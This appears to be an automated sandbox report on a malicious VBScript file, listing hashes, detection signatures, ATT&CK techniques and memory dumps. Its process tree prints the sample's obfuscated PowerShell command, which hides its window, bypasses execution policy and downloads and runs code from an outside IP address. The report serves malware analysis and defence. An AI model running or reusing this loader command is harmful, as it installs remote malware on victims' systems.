4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/01/2025, 12:05

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General

Target

4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c.vbs
Size

6KB
MD5

5cd058a830624c948fcf2e91589e523c
SHA1

f3ff01a26d55f8c01dc6d930afc526653164e2fd
SHA256

4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c
SHA512

786773fd9d87fa23680cface7236c349b560c7ad4241624f91a6fd6d6cfc05d7e554555614b93a78a2be8000b2c4e5c1b1fca9a312bd68a77cbab1b38ff23370
SSDEEP

96:ej/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/Eb/3:8PjGZOmya03D

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2572	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 2572	2072	WScript.exe	30
PID 2072 wrote to memory of 2572	2072	WScript.exe	30
PID 2072 wrote to memory of 2572	2072	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4f90acd8429781753e1b43f7c32efaa4ddc9fc108eaec01d9d1dd4ddc444208c.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$FmxQdSlWaGye='IeX(NeW-OBJeCT NeT.W';$KtWLqHZBjFgp='eBCLIeNT).DOWNLO';$UeivQcqgkxEH='repoooos(''http://45.88.186.162/test//update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($FmxQdSlWaGye+$KtWLqHZBjFgp+$UeivQcqgkxEH);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2572-4-0x000007FEF5A0E000-0x000007FEF5A0F000-memory.dmp

Filesize
4KB

Download
memory/2572-7-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2572-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2572-8-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-9-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-10-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-11-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-16-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-17-0x000007FEF5A0E000-0x000007FEF5A0F000-memory.dmp

Filesize
4KB

Download
memory/2572-18-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2572-19-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download